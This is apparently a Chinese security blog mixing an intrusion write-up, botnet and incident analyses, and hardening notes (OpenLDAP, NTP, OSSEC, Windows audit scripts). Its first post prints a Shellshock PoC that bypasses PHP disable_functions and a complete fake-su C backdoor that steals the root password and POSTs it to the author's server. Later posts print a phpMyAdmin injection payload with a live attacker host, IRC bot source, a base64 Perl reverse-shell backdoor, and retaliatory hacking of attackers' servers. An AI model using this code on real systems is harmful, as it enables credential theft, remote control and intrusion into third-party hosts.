突破传统的安全防御

re1

前言:
(注)该网站漏洞已经提交商厂商修复,贴到博客是将渗透中遇到思路分享下.
现如今各大互连网公司企业都在建设云平台,自动化运维,主要目的是方便快速弹性部署应用,但是安全问题也会随之而带来,自动化运营系统管理端,也就是说只要黑客控制 server 管理服务端,那么无疑为黑客铺平控制所有agent 成本,从某些应用环境来看是否( 标准化 统一化 规范化)可能会导致节点安全策略没有生效或是安全检测监控不在范围之内,正是这样给黑客一个可乘之机。 造成安全后十分严重.
这里介绍某云主机服务商,提供于中小型网站及站长服务,这不得不吐槽建站公司使用的cms 从不考虑是否帮助用户升级 CMS patch 问题,正如这些cms 系统漏洞一直被黑客利用灰色产业链, 这里会用到一些攻防思路最后突破防护拿到最高权限.

XX01、接下是个普通一个网站通过CMS 某漏洞提权拿到SHELL ,当在SHELL 上面执行系统命令时发现到该网站服务器上不止一个网站可以肯定网站数据很多,并且PHP 启用disable_functions 模式,限制了命令执行函数操作.

re2

XX02、思考了下能突破PHP 启用安全摸式的办法,最后想到是使用bash (CVE-2014-6271)破壳漏洞,该系统竟没有升级bash ,POC 中让sendmail_cmd()函数执行bash 任意命令,bypass 绕过 disable_functions 限制

POC

https://www.exploit-db.com/exploits/35146/

 
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<pre>
<?php echo "Disabled functions: ".ini_get('disable_functions')."\n"; ?>
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @ mail.c:283
   if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
     $tmp = tempnam(".","data");
     putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
     // In Safe Mode, the user may only alter environment variables whose names
     // begin with the prefixes supplied by this directive.
     // By default, users will only be able to set environment variables that
     // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is empty,
     // PHP will let the user modify ANY environment variable!
     mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually send any mail
   }
   else return "Not vuln (not bash)";
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

 

XX03、成功绕过了 PHP disable_functions 限制,这时可以任意执行命令.

re3

XX04、反弹SHELL 到这台服务器上面,该服务器一个普通应用权限,这时候权限可以控制服务器所有网站操作.
re4
re5

XX05、继续分析可用的信息,last 发现有个普通管理帐号, 该帐号是从一个固定IP SSH 登陆,可以断定管理员是使这个普通帐号连接些服务器, 一定会使用su 来切换帐号应用操, 那么这样就可以利用su 方式来获取欺骗管理员ROOT 密码.
re6

XX06、安装后门
接下来需要通过该台服务器普通权限提ROOT 权限,系统版本2.6.18 内核并成功提权到ROOT , 这时候就可以利用 home 目录用户.bash_profile 文件来修改环境信息 加载.su 欺骗后门代码
当管理员su root 切换时候,这样代码给个交换摸式 passwd 欺骗输入并且把输入密码 ,把用户密码 传递 给 curl 这样利用curl 命令把用户名 ROOT 和密码 POST 方式发送我的我的服务器中接口,最后再还原.bash_profile 文件

使用后门代码:

#include
#include
#include
#include
#include
#include <sys/stat.h>
#include

static int sendInfo(const char* pszUserName, const char* pszPassword)
{
char szPre[] = “curl -i -s -k -X \’POST\’ -H \’User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0\’ -H \’Referer: http://www.xxxxxxx.com/post.html\’ -H \’Content-Type: application/x-www-form-urlencoded\’ –data-binary $\’user=”;
char szPost[] = “\’ \’http://www.xxxxx.com/post.php\’ >/dev/null 2>&1″;
char szSendBuffer[512] = {0};
sprintf(szSendBuffer, “%s%s_%s%s”, szPre, pszUserName, pszPassword, szPost);
return 0==system(szSendBuffer);
}

int main(int argc, char *argv[])
{
FILE *fp = NULL;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex, “/var/tmp/.pwds”);
sprintf(clean, “rm -rf /var/tmp/.su >/dev/null 2>&1;mv -f ~/.wgetrc ~/.bash_profile >/dev/null 2>&1″);
if (argc == 1)
user = “root”;
if (argc == 2)
user = argv[1];
if (argc>2)
{
if (strcmp(argv[1], “-l”) == 0)
user = argv[2];
else user = argv[1];
}

fprintf(stdout, “Password: “);
pass = getpass(“”);
system(“sleep 3″);
fprintf(stdout, “su: Authentication failurenSorry.n”);
int fd = open(“/dev/null”, O_RDWR, 0);
if (fd<0)
{
exit(0);
}
else
{
dup2(fd, STDERR_FILENO);
}

if ((fp = fopen(filex, “w”)) != NULL)
{
fprintf(fp, “%s:%sn”, user, pass);
fclose(fp);
}
sendInfo(user,pass);

system(clean);
system(“rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su”);
system(“sed ‘$d’ -i ~/.bash_profile”);
system(“source ~/.bash_profile”);

system(“su”);
return 0;

}

XX07、果真隔了一些时间 ROOT 密码终于POST 过来了,接下来使用 ROOT 密码透过内网 N 个网段,陆陆继继登陆各个服务器,拿到其中一个虚似主机控制面板权限,可以查看到所有虚似主机网站权限,该系统管理约有三四万个虚似主机网站权限信息。

re7

小结:
防止网站未知的漏洞:
1、网站使用cms 框架摸板统一做过滤处理.
2、比较敏感后台做白名单IP 限制,如WordPress 后台WP-admin 只允许管理员IP 登陆 .
3、使用WAF 即使后台或其它点限制被绕过,那么WAF 对普通攻击如(注入命令执行 文件包含LFI / RFI)一些漏洞规则是可以阻止掉的。
最终企业所有防护机制需要从被动做成主动思路,大的网络系统环境需要做多种检测监控纬度来实施,一切一切的安全问题,原个人缺乏安全意识导致才是可怕的漏洞!

追踪某Linux 僵尸网络木马

用户在使用企业开源框架平台时,经常会遭受黑客各种各样的攻击,近来越来越多的攻击走向自动化。

服务器受攻击主要是因为没有给应用打补丁或者是没有对服务器做身份验证策略,导致服务器具有执行任意代码的能力。这种自动攻击发送HTTP请求,使用HEAD 来识别应用。如果成功话,僵尸程序会自动下载一个IRC 程序,程序会连接到一个控制端的服务器,并且会在该漏洞服务器中的随机产生IP继续进行扫描,进而对其它存在漏洞的服务器进行控制传播攻击。

目前受蠕虫攻击最流行的应用 (BASH破壳漏洞、Apache、status、Tomcat、JBOSS、phpmyadmin )  较为居多,国际上经常出现利用大规模僵尸网络发动DDOS 攻击,攻击者打出几百 G 流量完全依靠僵尸蠕虫传播这种技术。(目前NTP DNS 放大攻击依然威胁很大)

以下是国外安全机构统计 2014年度受攻击僵尸网络数据 TOP  25 国家,从而看出中国大陆和台湾地区受到攻击非常严重。

TOR1

通常安全研究人员遇到LINUX 系统下的僵尸网络都是与DDOS 攻击有关,在我们不知道情况下很  难发现是否中招,大部分企业系统管理员只有从交换机流量监控发现或系统监控 CPU 负载判断去现。

 

案例分析: 

案例是在阿里云主机中发现到 minerd 程序,这种僵尸程序可以进行DDOS攻击和挖莱特币动作。这是一款典型的金融僵尸程序,使用tor网络进行指挥与控制,利用Jenkins 应用漏洞进行攻击 Jenkins应用是一款开源集成引擎,深受互连网企业用户喜欢。

TOR2

0X01   Ps aux 命令进程后发现,有个很可疑的命令从一台美国服务器 67.xx.xx.xx webserver上面wget startr.sh 的脚本:

TOR3

 

0X02获取到Startx.sh 脚本里面有几个程序操作:

1、minerd 后门程序具有隐藏功能和cron 任务,该程序主要工作就是挖莱特币。

2、1.cfg 是个配置文件,内容包含密钥配置可与挖矿平台建产连接  stratum+tcp://us.clevermining.com:3333 。

TOR4

TOR5

 

 

0X03 new.c 代码里内容: 

1)   开启程序与IRC BOT 服务端通讯,命令操作以及隐藏。

2)   各种DDOS 发包类型SYN,UDP,TCP,PUSH+ACK,NON-SPOOF UDP。

3)从new.c代码中看出来功能之多,类似于windows平台远程木马一样强大,其基本的功能都具备。

TOR6

 

TOR7

 

47

 

 0X04 分析了下这台 wget 国美IP 67.xx.xx.xx 是 apache 服务,尝试了是否可以攻破服务器,接着使用nmap ,发现有个JBOSS 应用: 

TOR8

 

利用JBOSS部署WAR 包特性GETSHELL后拿下了服务器权限,在67.xx.xx.xx服务器查看上面部署有zabbix agent 服务:

TOR9

TOR12

TOR11

 

0X05拿到zabbix server 权限后,发现这些服务器已经早已是僵尸程序肉鸡……

TOR13

企业应急响应与反渗透

immm

此事情发生一个真实的线上环境黑客拿到一台外网端口较低的权限提权到最高权限控制服务器利用此服务器发送DDOS 攻击行为,事件整个响应到分析再到反击渗透拿下黑客使用到的服务器权限.

XX01、接到网络部门同事反馈有一台机器对外大量发送数据包疑DDOS 攻击行为,立即应响封掉外网端口并第一时间登陆上去分析,是一台非常核心zabbix 监控服务器被装了rootkit 后门,的确有个很异进程端口主动连接外网机器.

im1

XX02、发现和其它rootkit 都不一样,无替换任何第统文件,开有13134端口访问确认是典型SSH 后门并且同目录下有个admin 被编码加密,那么一定是后门发送数据的配置文件,从邮箱帐号可以肯定是自动发送数据
一个新型ROOTKIT 后门.

im2

XX03、黑客是怎么进来呢? 当然第一反映就是我们zabbix 有漏洞导致,扫描分析LOG 日是志并都没有结果,那么一定是从哪个应用有漏洞进来的.
执行了下ps aux 分析下进程开了哪些服务,看到
usr/local/jdk/bin/java -Djava.util.logging.config.file=/home/pplive/tomcat/conf/ 开了tomcat 服务想到tomcat 应用后漏洞,那么继分析下log 发现很奇怪外网 IP 访问.

im3

XX04、再继续分析每个IP 访问行为做了些什么,果然,问题出现了。日志中看出登陆后台时间和upload 上传webshell 时间一目了然.

im4

XX05、并且对比上传时间和webshell 文件时间是一致的.

im5

XX06、上传来的小马然后提权到大马文件.

im6
im7

XX007、目测这个hack 还是有点背景 “奋斗哥”….Webshell 密码就是这哥的QQ 吧大黑客IP 及QQ 号码 直接就可以去查水表

im8
im9

XX08、从后台漏洞上传到装后门然后。。不到2个小时…..

这次拿到webshell 使用2款工具 admin (添加帐号自动发送到126邮件) x32 ( socket 代理工具) Admin 后门工具自动添加(admin)帐号发送到 指定126邮箱帐号

im11

IDA 逆出来的admin 工具代码

#include
#include
void main(void)
{
char passwd[]={0x5f,0x39,0x5F,0x67,0x13,0x79,0x5f,0x3b,0x47,0x1f,0xa7,0xdb,0x85,0x65,0x05,0x00};

username[]={0×93,0×83,0×23,0×23,0×73,0×83,0×13,0x1B,0xB3,0xDF,0×99,0×43,0×93,0xD7,0×03,0x9B,0x6F,0x6B,0×97,0x6B,0×87,0x1F,0xBF,0×89,0×85,0×65,0×00};
int Destring(char *s)

bash64 加密
emhhbmdtaW5neGluZzEzMTQ=
V0VJd2VpNTIw
解密用户名 :zhangmingxiang1314 密码:WEIwei520

XX09、随后反击黑客,拿到黑客这台跳板机权限就此结束

im12

“心脏出血漏洞”

好久没有更新,吐个泡泡说明人还活着…
这几天被openssl 漏洞闹着各大厂商都玩命似的修补漏洞,(CVE-2014-0160)这个bug 攻击者可以远程获取服务器cache 数据.
还好漏洞只可以获取 cache 中64k 大小文件,其实完全可以实现拖库效果….

扫描
这里实现如何批量找出开启ssl/tls 服务器端口,使用nmap扫描后匹配banner 找出所有(https)协议端口,这里实现自动扫描结果.

QQ截图20140410101441

漏洞探测
使用openssl payload 利用代码对获取到的https 开放端口自动check.

QQ截图20140410104859

自定义 openldap 签名时间

openldap 会在某天发现突然SSH 登陆上不了,原来是签名到期所致,openldap 的签名期限默认是1年的,所以说这么短期限时间突然LDAP 停止工作是件很痛苦事….

修改openldap 默认配置如下,步骤是我的配置:
cd /etc/pki/tls/ 目录
#修改配置文件 openssl.conf
default_days = 1825 # 默认 365 天这里修改 5年
default_days = 1825 # how long to certify for
default_crl_days= 30 # how long before next CRL
default_md = sha1 # which md to use.
preserve = no # keep passed DN ordering
#配置证书 cd /etc/pki/tls/misc 目录

openssl req -new -nodes -keyout slapd-key.pem -out slapd-req.pem -days 1825 #设置为 1825天

于原始的信息保持一致
ountry Name [GB]= CN
State or Province Name = shanghai
Locality Name =shanghai
Organization Name = wianm
Organizational Unit Name= wianm
Email Address = xxx@gmail.com
A challenge password = xxxxx
An optional company name = xxxx
#生成证书添加签名,提示输入证书密码这里证书密码需要牢记

openssl ca -out slapd-cert.pem -infiles slapd-req.pem

NTP 反射型DDOS 攻击于防御

DDOS

 

  最近一段时间分布式反射拒绝服务攻击显著增加,这么火主要是这些新型攻击方式比传统攻击方式威害会更大,多数是一些没有做安全保护使未经过身份验证的客户端来获取较大反映,这时国外正玩的很high像DNS,NTP 放大攻击,这么快就遇到了真是赶时髦…

NTP 攻击原理
NTP Reply Flood Attack (NTP射型Ddos攻击) 简称NTP Flood NTP 放大+反映攻击是利用“monlist” 查询这是用来监控功能,记录 NTP 历史信息,在攻击中会有大量的8字节UDP 数据包发送NTP 服务器

从截图1 大量来自境外的IP  这样NTP 请求回应就会累积成巨大的流量

ntp

 

截图2 中看出8字节数据包,响应包的对比这种N倍的数据包反回,产生巨大UDP 流量响应包

NTP0

 

目前遇到NTP 攻击最好解决方案是升级NTP 到 NTP 4.2.7p26 因为最新版本中的 “monlist” 已解决这个安全问题,使用随机数来确保每个IP 请求过来匹配实际的请求量,如图3   升级过后瞬间恢复正常,可以看出NTP 一个小小特性就能攻击产生巨大威胁,因此这里强烈推荐大家升级4.2.7 最新版本以上。

NTP 最新版本 http://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-dev/ntp-dev-4.2.7p421.tar.gz

NTPCC

 

 

这种攻击主要是利用存在漏洞来进行攻击,存在这些漏洞服务器主机自然就成了僵尸网络。

经典的僵尸网络程序

IRC

在这里不得不佩服那些利用各种payload 写自动抓肉鸡的大牛们,使用IRC僵尸网络做DDOS 攻击。某天接到一个合作方网站反馈网站被hack ,登服务器发现有大量数据包往外网发送。

从最近日志分析到这些POST 异常数据,会不会是什么最新漏洞?数据包最大这个肯定是有问题。

 [26/Nov/2013:04:34:11 +0800] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 200 455375 "http://xx.xx.xx.xx/phpmyadmin/scripts/setup.php" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" "-" "1.140" "192.168.0.184:80" "200" "1.342" "action=lay_navigation&eoltype=unix&token=4c114a4664f89ff94ad59e10a9c87cf7&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A49%3A%22ftp%3A%2F%2Fpsencore%3AN0djZVV0YU%40184%2E154%2E254%2E154%2Fniz%2Ephp%22%3B%7D%7D"
 [26/Nov/2013:06:14:35 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 200 14076 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" "-" "0.026" "192.168.0.184:80" "200" "0.026" "-"
 [26/Nov/2013:06:14:35 +0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 200 14076 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" "-" "0.027" "192.168.0.184:80" "200" "0.027" "-"

对POST URL 链接做下解码出很诡异字串,从FTP 文件看样子像是个WEBSHELL。

action=lay_navigation&eoltype=unix&token=91c8018643589a37b8317316a2fb42d1&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A49%3A%22ftp%3A%2F%2Fpsencore%3AN0djZVV0YU%40184%2E154%2E254%2E154%2Fniz%2Ephp%22%3B%7D%7D 

URL 解码后的
Image1

分析了下 niz.php 程序发现有几个动作:
1、会下载个程序文件然后连接远程一台美国 RIC 僵尸服务器 端口(6665) 加 口令证认证。
2、脚本判断WEB 服务类型是否(apache iis xitami)。
3、在配置文件config 中注入一句话木马,并判断注入是否成功和失败,成功会发送MBAIL 到( postertester@yandex.ru)及系统信息。
4、使用BASH64 加密方式生成个perl 脚本在/var/tmp/dc.pl 最后发送 udp flood 包。

class pBot
{
var $config = array("server" => "78.186.5.42", "port" => "6665", "pass" => "", "prefix" => "R", "maxrand" => "6", "chan" => "#News", "chan2" => "#News2", "key" => "Under", "modes" => "+pwisx", "password" => "123", "trigger" => ".", "hostauth" => "ANONYMOUS.XYZ", "limit" => "300" // * for any hostname (remember: /setvhost xdevil.org)
);

if (isset($_SERVER['SERVER_SOFTWARE'])) {
if (strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "apache"))
$ident = "Apache";
elseif (strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "iis"))
$ident = "IIS";
elseif (strstr(strtolower($_SERVER['SERVER_SOFTWARE']), "xitami"))
$ident = "xitami";
if (isset($cmd[1]) && $cmd[1] == "433") {
$this->set_nick();
}
if ($this->buf != $old_buf) {
$mcmd = array();
$msg = substr(strstr($this->buf, " :"), 2);
$msgcmd = explode(" ", $msg);
$nick = explode("!", $cmd[0]);
$vhost = explode("@", $nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0], 1);
$host = $cmd[0];
if (!mail("postertester@yandex.ru", "InBox Test", "#blackhat since 1996\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln:
http://" . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . "\n\ngreetz: wicked\nby: dvl ", $header)) {
$this->privmsg($this->config['chan'], "[\2inbox\2]: Unable to send");
} else {
$this->privmsg($this->config['chan'], "[\2inbox\2]: Message sent to \2" . $mcmd[1] . "\2");
$this->privmsg($this->config['chan'], "[\2conback\2]: tentando conectando a $ip:$port");
$dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";

经过分析得到 phpmyadmin PHP 代码注漏洞,phpMyAdmin的Setup脚本用于生成配置。如果远程攻击者向该脚本提交了特制的POST请求的话,就可能在生成的config.inc.php配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上,未经认证的远程攻击者可以利用这个漏洞执行任意PHP代码。

Image3

使用 payload 成功注入到config.inc.php 并得到一个shell 权限。
Image4

Image5

OSSEC maild SMTP 身份认证配置

OSSEC 是使用匿名方式来发送邮件,如果邮件服务器SMTP 做了身份验证话,就会收不到OSSEC 报警邮件 (邮件服务器的SMTP 做验证一般是防止拉圾邮件)。
日志报错误出现如下:
2013/11/05 11:12:10 os_sendmail(1764): WARN: Mail from not accepted by server
2013/11/05 11:12:10 ossec-maild(1223): ERROR: Error Sending email to xx.xx.xx.xx (smtp server)

SMTP 安全是使用AUTH LOGIN 方式来做认证

telnet smtp.xxx.com 587
Trying xx.xx.xx.xx...
Connected to smtp.xx.com.
Escape character is '^]'.
220 xx.com Anti-spam GT for Coremail System
HELO smtp.xx.com
250 OK
AUTH LOGIN
334 dXNlcm5hbWU6
[用户名,base64编码]
334 UGFzc3dvcmQ6
[密码,base64编码]
235 Authentication successful
MAIL FROM:<xxx@xxx.com>
250 Mail OK
RCPT TO:<xxx@xxx.com>
250 Mail OK
DATA
354 End data with .20
TO:xx@xx.com
FROM:xxx@xxx.com
SUBJECT:test23
just another test.
250 Mail OK queued as smtp2,DNGowKD7PxBWxkdNq5_HAA--.5709S2 1296360207

看到如上AUTO LOGIN 方式来验证步骤话就可以想到OSSEC 问题大概出哪里,找到 src/os_maild/ sendmail.c sendcustomemail.c 2个原码,以下是需要修改的内容。

响应状态码

/* Return codes (from SMTP server) */
#define VALIDBANNER "220"
#define VALIDMAIL "250"
#define VALIDAUTHLOGIN "334"
#define VALIDAUTHUSER "334"
#define VALIDAUTHPWD "235"
#define VALIDDATA "354"

/* Default values use to connect */
#define SMTP_DEFAULT_PORT 587
#define HELOMSG "Helo notify.ossec.net\r\n"
#define AUTHLOGIN "AUTH LOGIN\r\n"
#define AUTHUSER "(用户名,base64编码)\r\n"
#define AUTHPWD "密码,base64编码)\r\n"
#define MAILFROM "Mail From: <%s>\r\n"
#define RCPTTO "Rcpt To: <%s>\r\n"
#define DATAMSG "DATA\r\n"
#define FROM "From: OSSEC HIDS <%s>\r\n"
#define TO "To: <%s>\r\n"
#define CC "Cc: <%s>\r\n"
#define SUBJECT "Subject: %s\r\n"
#define ENDDATA "\r\n.\r\n"
#define QUITMSG "QUIT\r\n"

以下内容是添加在 /* Sending HELO message */和 /* Building "Mail from" msg */ 中间

/* Sending AUTH USERNAME message */
OS_SendTCP(socket,AUTHUSER);
msg = OS_RecvTCP(socket, OS_SIZE_1024);
//merror("%s",msg);
if((msg == NULL)||(!OS_Match(VALIDAUTHUSER, msg)))
{
if(msg)
{
/* Ugly fix warning 	:   )  */
/* In some cases (with virus scans in the middle)
* we may get two banners. Check for that in here.
*/
if(OS_Match(VALIDAUTHLOGIN, msg))
{
free(msg);

/* Try again */
msg = OS_RecvTCP(socket, OS_SIZE_1024);
if((msg == NULL)||(!OS_Match(VALIDAUTHUSER, msg)))
{
merror("%s:%s",AUTH_USERFAILD,msg!= NULL?msg:"null");
if(msg)
free(msg);
close(socket);
return(OS_INVALID);
}
}
else
{
merror("%s:%s",AUTH_USERFAILD,msg);
free(msg);
close(socket);
return(OS_INVALID);
}
}
else
{
merror("%s:%s",AUTH_USERFAILD,"null");
close(socket);
return(OS_INVALID);
}
}

MAIL_DEBUG("DEBUG: Sent '%s', received: '%s'", AUTHUSER, msg);
free(msg);

/* Sending AUTH PASSWORD message */
OS_SendTCP(socket,AUTHPWD);
msg = OS_RecvTCP(socket, OS_SIZE_1024);
//merror("%s",msg);
if((msg == NULL)||(!OS_Match(VALIDAUTHPWD, msg)))
{
if(msg)
{
/* Ugly fix warning :   ) */
/* In some cases (with virus scans in the middle)
* we may get two banners. Check for that in here.
*/
if(OS_Match(VALIDAUTHUSER, msg))
{
free(msg);

/* Try again */
msg = OS_RecvTCP(socket, OS_SIZE_1024);
if((msg == NULL)||(!OS_Match(VALIDAUTHPWD, msg)))
{
merror("%s:%s",AUTH_PWDFAILD,msg!= NULL?msg:"null");
if(msg)
free(msg);
close(socket);
return(OS_INVALID);
}
}
else
{
merror("%s:%s",AUTH_PWDFAILD,msg);
free(msg);
close(socket);
return(OS_INVALID);
}
}
else
{
merror("%s:%s",AUTH_PWDFAILD,"null");
close(socket);
return(OS_INVALID);
}
}

MAIL_DEBUG("DEBUG: Sent '%s', received: '%s'", AUTHPWD, msg);
free(msg);

从新编译代码升级最新摸块 make clean && make all && sh install.sh

windows 帐号策略安全审计三步曲

由于windows 机器数量较多,之前没做过安全配置想了想数量较多的机器不能一台台配置吧? 写个可执行脚本方便快捷。
windows 有个secedit 也就是所谓(本地安全策略)接下来配置自定义规则使用secedit 导入进去,再通过zabbix 来批量执行脚本操作。

 

第一步 DO(执行)
生成配置文件

echo [Unicode] >sec.inf
echo Unicode=yes >>sec.inf
echo [System Access] >>sec.inf
echo MinimumPasswordAge = 2 >>sec.inf 密码长度最小值
echo MaximumPasswordAge = 42 >>sec.inf 密码最长使用期限
echo MinimumPasswordLength = 9 >>sec.inf 最小密码长度
echo PasswordComplexity = 0 >>sec.inf 密码复杂性
echo PasswordHistorySize = 24 >>sec.inf 强制密码历史
echo LockoutBadCount = 5 >>sec.inf 密码锁定阈值
echo ResetLockoutCount = 3 >>sec.inf 复位帐户锁定计数器 (这个策略可以防止帐号暴力破解)
echo LockoutDuration = 3 >>sec.inf 帐号锁定时间
echo RequireLogonToChangePassword = 0 >>sec.inf 下次登陆必须更改密码
echo ForceLogoffWhenHourExpire = 0 >>sec.inf 强制密码过期
echo NewGuestName = "ppguest" >>sec.inf 来宾帐号名称
echo ClearTextPassword = 0 >>sec.inf 域中用户停用可还原的加密来存储密码
echo LSAAnonymousNameLookup = 0 >>sec.inf 禁用匿名SID/名称转换
echo EnableAdminAccount = 1 >>sec.inf administrator 是否禁用
echo EnableGuestAccount = 0 >>sec.inf 来宾帐号已禁用
echo [Event Audit] >>sec.inf (以下可以跟据SYSLOG 收集日志来自定义设置)
echo AuditSystemEvents = 3 >>sec.inf 审核系事件(成功、失败)
echo AuditLogonEvents = 3 >>sec.inf 审核登陆事件(成功、失败)
echo AuditObjectAccess = 0 >>sec.inf 审核对象访问
echo AuditPrivilegeUse = 3 >>sec.inf 审核过程跟踪(成功、失败)
echo AuditPolicyChange = 3 >>sec.inf 审核策略更改 (成功、失败)
echo AuditAccountManage = 3 >>sec.inf 审核帐号管理 (成功、失败)
echo AuditProcessTracking = 0 >>sec.inf 审核目录服务访问
echo AuditDSAccess = 0 >>sec.inf 审核特权使用
echo AuditAccountLogon = 3 >>sec.inf 审核帐号登陆事件(成功、失败)
echo [Registry Values] >>sec.inf
echo [Version] >>sec.inf
echo signature="$CHICAGO$" >>sec.inf
echo Revision=1 >>sec.inf

导入配置文件
secedit /configure /db sec.sdb /cfg sec.inf /log sec.log /overwrite /quiet

 

 

第二步 (check)
匹配不符合规则的策略,然后上传到FTP

@echo off
:: Tested on : Check the allocation strategy
:: +---------------------------------------------+

cd %windir%
cd ..

echo 正在获取IP地址。。。
for /f "tokens=15" %%i in ('ipconfig ^| find /i "IP Address"') do set ip=%%i
echo %ip%

:: +---------------------系统版本---------------------------+
:sp_check
echo sp_check

echo 正在筛选系统版本。。。
wmic os get ServicePackMajorVersion |find "2" >nul
if errorlevel 1 goto sp_no else goto sp_ok
goto sp_ok

:sp_no
echo sp_no

timeout /T 1
echo 以下为系统版本安全隐患:>> %ip%.txt
wmic os get ServicePackMajorVersion>> %ip%.txt
timeout /T 1
goto audit_check

:sp_ok
echo sp_ok

echo 系统版本为SP2,安全...
timeout /T 1

:: +------------------审计与帐户策略---------------------------+
:audit_check
echo audit_check

echo 正在检查审计与帐户策略..
if exist no.txt (del no.txt)
echo 正在进行 "审计与帐户策略" 安全检查
echo MinimumPasswordAge = 2 >>check.txt
echo MaximumPasswordAge = 42 >>check.txt
echo MinimumPasswordLength = 9 >>check.txt
echo PasswordComplexity = 0 >>check.txt
echo PasswordHistorySize = 24 >>check.txt
echo LockoutBadCount = 5 >>check.txt
echo ResetLockoutCount = 3 >>check.txt
echo LockoutDuration = 3 >>check.txt
echo RequireLogonToChangePassword = 0 >>check.txt
echo ForceLogoffWhenHourExpire = 0 >>check.txt
echo NewGuestName = "guest" >>check.txt
echo ClearTextPassword = 0 >>check.txt
echo LSAAnonymousNameLookup = 0 >>check.txt
echo EnableAdminAccount = 1 >>check.txt
echo EnableGuestAccount = 0 >>check.txt
echo [Event Audit] >>check.txt
echo AuditSystemEvents = 3 >>check.txt
echo AuditLogonEvents = 3 >>check.txt
echo AuditObjectAccess = 0 >>check.txt
echo AuditPrivilegeUse = 3 >>check.txt
echo AuditPolicyChange = 3 >>check.txt
echo AuditAccountManage = 3 >>check.txt
echo AuditProcessTracking = 0 >>check.txt
echo AuditDSAccess = 0 >>check.txt
echo AuditAccountLogon = 3 >>check.txt

secedit /export /cfg sec.inf >nul

echo secedit

del /f /q /s no.txt
for /F "tokens=1,3" %%i in (check.txt) do (
call :rule_check %%i %%j
)
del /f /q /s tmp.txt
del /f /q /s check.txt
del /f /q /s sec.inf
timeout /T 1
goto save_result

:rule_check
echo rule_check %1 %2
find "%1" sec.inf >tmp.txt
for /f "skip=2 tokens=3" %%i in (tmp.txt) do (
if "%%i"=="%2" (echo %1=%%i %ok%) else (echo %1 = %%i 策略不符合规则>>no.txt)
)
goto :EOF

:save_result
echo save_result

if exist no.txt (
timeout /T 1
echo 以下为审计与帐户策略安全隐患: >>%ip%.txt
type no.txt >>%ip%.txt
echo ################################################ >>%ip%.txt
del /f /q /s no.txt
goto upload_result) ELSE (
echo OK....Script will quit.
timeout /t 10
exit
)

:: +------------------报告上传--------------------------------+
:upload_result
echo upload_result
echo 正在上传报告。。。
echo open xx.xx.xx.xx > ftp.cmd.txt
echo #######>> ftp.cmd.txt
echo #######>> ftp.cmd.txt
echo binary>> ftp.cmd.txt
